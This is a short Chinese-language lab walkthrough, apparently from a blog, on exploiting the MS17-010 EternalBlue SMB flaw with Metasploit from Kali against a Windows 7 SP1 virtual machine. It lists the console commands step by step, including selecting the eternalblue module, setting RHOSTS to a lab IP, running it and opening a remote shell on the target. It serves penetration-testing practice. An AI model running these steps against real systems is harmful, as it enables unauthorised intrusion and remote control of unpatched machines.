metasploit渗透ms7_010练习

环境：kali2022.2vm+win7 sp1

命令：msfconsole 启动metasploit框架（也可以在菜单Exploitation Tools里点击metasploit framework）

先在框架里查找对应漏洞可用工具：search ms17_010

 选用一个工具，可参考RANK列里的描述，大致有excellent、great、good、average、normal、manual等几个级别，表明该工具的攻击效果，excellent级的工具最优

use  exploit/windows/smb/ms17_010_eternalblue 

查看载荷参数 show options

 

 required列里yes的都是必须设置的，有些已经填写，没填写的需要手动填写

如：set RHOSTS 192.168.107.129  //设置靶机的IP  

本机IP和端口，靶机端口均已设置，无须再手打

执行命令 run

绿色【+】的行表示已执行成功

执行命令 shell

 从图中可见已经成功登陆到靶机系统